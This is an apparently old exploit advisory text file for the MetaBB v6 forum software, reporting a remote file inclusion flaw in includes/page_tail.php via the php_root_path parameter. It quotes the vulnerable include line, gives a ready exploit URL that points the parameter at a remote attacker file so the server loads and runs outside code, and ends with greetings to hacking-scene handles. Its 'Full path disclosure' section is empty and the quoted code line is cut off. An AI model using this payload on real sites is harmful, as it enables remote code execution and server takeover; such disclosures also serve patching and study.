metabb-rfi.txt

`********************************************  
*AuThor:Silitoad ***************************  
*emA!l:Silitoad[at]hotmail[dot]Com *********  
*HoMePaGe: http://www.Arabian-FighterZ.com<http://www.arabian-fighterz.com/>*  
********************************************  
  
  
  
  
[Info]  
cms: metabb  
Version: 6  
Download:http://www.hotscripts.com/jump.php?listing_id=61127&jump_type=1  
Problem: Include file  
  
bug: include_once($php_root_path .  
'rabbitoshi/includes/functions_rabbitoshi_cron.  
  
[Vuls]  
  
1.Full path disclosure:  
  
  
[Exploit]  
  
http://target.com/MetaBBv6/includes/page_tail.php?php_root_path=http://evilcode.txt  
?  
  
[Fix]  
  
Vuls has been reported to author,No reply yet.  
  
[Greetings]  
  
Greets To l1nuxm4,Sn1p8r,Sbitar,Op3runix,simple_clan,l33t_b3k3rz,the leo  
from Midt  
`